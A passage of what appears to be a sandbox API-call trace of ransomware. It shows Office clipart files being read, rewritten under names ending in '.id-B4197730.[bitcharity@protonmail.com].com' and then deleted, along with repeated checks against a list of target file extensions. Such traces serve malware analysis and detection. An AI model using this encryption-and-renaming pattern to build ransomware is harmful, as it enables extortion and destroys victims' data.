office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0298.432] GetLastError () returned 0x0 [0298.432] ReadFile (in: hFile=0x10a0, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x91c, lpOverlapped=0x0) returned 1 [0298.555] WriteFile (in: hFile=0x109c, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x920, lpOverlapped=0x0) returned 1 [0298.556] ReadFile (in: hFile=0x10a0, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0298.556] WriteFile (in: hFile=0x109c, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0298.556] SetEndOfFile (hFile=0x109c) returned 1 [0298.556] CloseHandle (hObject=0x109c) returned 1 [0298.556] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.556] SetEndOfFile (hFile=0x10a0) returned 1 [0298.557] CloseHandle (hObject=0x10a0) returned 1 [0298.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 1 [0298.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0298.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0298.558] lstrlenW (lpString=".doc") returned 4 [0298.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.558] lstrlenW (lpString=".docx") returned 5 [0298.558] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.558] lstrlenW (lpString=".pdf") returned 4 [0298.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.558] lstrlenW (lpString=".xls") returned 4 [0298.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.558] lstrlenW (lpString=".xlsx") returned 5 [0298.558] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.558] lstrlenW (lpString=".ppt") returned 4 [0298.558] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0298.558] lstrlenW (lpString=".zip") returned 4 [0298.558] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.558] lstrlenW (lpString=".rar") returned 4 [0298.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.558] lstrlenW (lpString=".bz2") returned 4 [0298.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.558] lstrlenW (lpString=".7z") returned 3 [0298.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0298.558] lstrlenW (lpString=".dbf") returned 4 [0298.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0298.558] lstrlenW (lpString=".1cd") returned 4 [0298.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0298.558] lstrlenW (lpString=".jpg") returned 4 [0298.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0298.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0298.559] lstrlenW (lpString=".doc") returned 4 [0298.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.559] lstrlenW (lpString=".docx") returned 5 [0298.559] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.559] lstrlenW (lpString=".pdf") returned 4 [0298.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.559] lstrlenW (lpString=".xls") returned 4 [0298.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.559] lstrlenW (lpString=".xlsx") returned 5 [0298.559] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.559] lstrlenW (lpString=".ppt") returned 4 [0298.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0298.559] lstrlenW (lpString=".zip") returned 4 [0298.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.559] lstrlenW (lpString=".rar") returned 4 [0298.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.559] lstrlenW (lpString=".bz2") returned 4 [0298.559] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.559] lstrlenW (lpString=".7z") returned 3 [0298.559] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0298.559] lstrlenW (lpString=".dbf") returned 4 [0298.559] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0298.559] lstrlenW (lpString=".1cd") returned 4 [0298.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0298.559] lstrlenW (lpString=".jpg") returned 4 [0298.559] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.559] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.559] lstrlenW (lpString="FD01658_.WMF") returned 12 [0298.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0298.560] GetFileSizeEx (in: hFile=0x10a0, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=17924) returned 1 [0298.560] CloseHandle (hObject=0x10a0) returned 1 [0298.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 0x220 [0298.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0298.560] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.560] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0298.561] GetLastError () returned 0x0 [0298.561] ReadFile (in: hFile=0x10a0, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x4604, lpOverlapped=0x0) returned 1 [0298.617] WriteFile (in: hFile=0x109c, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x4610, lpOverlapped=0x0) returned 1 [0298.618] ReadFile (in: hFile=0x10a0, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0298.618] WriteFile (in: hFile=0x109c, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0298.618] SetEndOfFile (hFile=0x109c) returned 1 [0298.618] CloseHandle (hObject=0x109c) returned 1 [0298.619] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.619] SetEndOfFile (hFile=0x10a0) returned 1 [0298.619] CloseHandle (hObject=0x10a0) returned 1 [0298.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.735] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 1 [0298.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0298.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0298.735] lstrlenW (lpString=".doc") returned 4 [0298.735] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.736] lstrlenW (lpString=".docx") returned 5 [0298.736] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.736] lstrlenW (lpString=".pdf") returned 4 [0298.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.736] lstrlenW (lpString=".xls") returned 4 [0298.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.736] lstrlenW (lpString=".xlsx") returned 5 [0298.736] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.736] lstrlenW (lpString=".ppt") returned 4 [0298.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0298.736] lstrlenW (lpString=".zip") returned 4 [0298.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.736] lstrlenW (lpString=".rar") returned 4 [0298.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.736] lstrlenW (lpString=".bz2") returned 4 [0298.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.736] lstrlenW (lpString=".7z") returned 3 [0298.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0298.736] lstrlenW (lpString=".dbf") returned 4 [0298.736] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0298.736] lstrlenW (lpString=".1cd") returned 4 [0298.736] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0298.736] lstrlenW (lpString=".jpg") returned 4 [0298.736] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0298.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0298.737] lstrlenW (lpString=".doc") returned 4 [0298.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.737] lstrlenW (lpString=".docx") returned 5 [0298.737] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.737] lstrlenW (lpString=".pdf") returned 4 [0298.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.737] lstrlenW (lpString=".xls") returned 4 [0298.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.737] lstrlenW (lpString=".xlsx") returned 5 [0298.737] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.737] lstrlenW (lpString=".ppt") returned 4 [0298.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0298.737] lstrlenW (lpString=".zip") returned 4 [0298.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.737] lstrlenW (lpString=".rar") returned 4 [0298.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.737] lstrlenW (lpString=".bz2") returned 4 [0298.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.737] lstrlenW (lpString=".7z") returned 3 [0298.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0298.737] lstrlenW (lpString=".dbf") returned 4 [0298.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0298.737] lstrlenW (lpString=".1cd") returned 4 [0298.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0298.737] lstrlenW (lpString=".jpg") returned 4 [0298.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.738] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.738] lstrlenW (lpString="FD02075_.WMF") returned 12 [0298.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0298.738] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=4396) returned 1 [0298.738] CloseHandle (hObject=0x10d0) returned 1 [0298.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x220 [0298.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0298.739] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.739] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0298.739] GetLastError () returned 0x0 [0298.739] ReadFile (in: hFile=0x10d0, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x112c, lpOverlapped=0x0) returned 1 [0298.805] WriteFile (in: hFile=0x1088, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x1130, lpOverlapped=0x0) returned 1 [0298.806] ReadFile (in: hFile=0x10d0, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0298.806] WriteFile (in: hFile=0x1088, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0298.806] SetEndOfFile (hFile=0x1088) returned 1 [0298.806] CloseHandle (hObject=0x1088) returned 1 [0298.807] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.807] SetEndOfFile (hFile=0x10d0) returned 1 [0298.807] CloseHandle (hObject=0x10d0) returned 1 [0298.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.808] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 1 [0298.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0298.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0298.808] lstrlenW (lpString=".doc") returned 4 [0298.808] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.808] lstrlenW (lpString=".docx") returned 5 [0298.808] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.808] lstrlenW (lpString=".pdf") returned 4 [0298.808] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.808] lstrlenW (lpString=".xls") returned 4 [0298.809] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.809] lstrlenW (lpString=".xlsx") returned 5 [0298.809] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.809] lstrlenW (lpString=".ppt") returned 4 [0298.809] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0298.809] lstrlenW (lpString=".zip") returned 4 [0298.809] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.809] lstrlenW (lpString=".rar") returned 4 [0298.809] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.809] lstrlenW (lpString=".bz2") returned 4 [0298.809] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.809] lstrlenW (lpString=".7z") returned 3 [0298.809] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0298.809] lstrlenW (lpString=".dbf") returned 4 [0298.809] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0298.809] lstrlenW (lpString=".1cd") returned 4 [0298.809] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0298.809] lstrlenW (lpString=".jpg") returned 4 [0298.809] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0298.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0298.809] lstrlenW (lpString=".doc") returned 4 [0298.809] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.810] lstrlenW (lpString=".docx") returned 5 [0298.810] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.810] lstrlenW (lpString=".pdf") returned 4 [0298.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.810] lstrlenW (lpString=".xls") returned 4 [0298.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.810] lstrlenW (lpString=".xlsx") returned 5 [0298.810] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.810] lstrlenW (lpString=".ppt") returned 4 [0298.810] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0298.810] lstrlenW (lpString=".zip") returned 4 [0298.810] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.810] lstrlenW (lpString=".rar") returned 4 [0298.810] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.810] lstrlenW (lpString=".bz2") returned 4 [0298.810] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.810] lstrlenW (lpString=".7z") returned 3 [0298.810] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0298.810] lstrlenW (lpString=".dbf") returned 4 [0298.810] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0298.810] lstrlenW (lpString=".1cd") returned 4 [0298.810] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0298.810] lstrlenW (lpString=".jpg") returned 4 [0298.810] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.811] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.811] lstrlenW (lpString="FD02141_.WMF") returned 12 [0298.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0298.811] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2636) returned 1 [0298.811] CloseHandle (hObject=0x10d0) returned 1 [0298.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 0x220 [0298.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0298.812] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.812] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0298.812] GetLastError () returned 0x0 [0298.813] ReadFile (in: hFile=0x10d0, 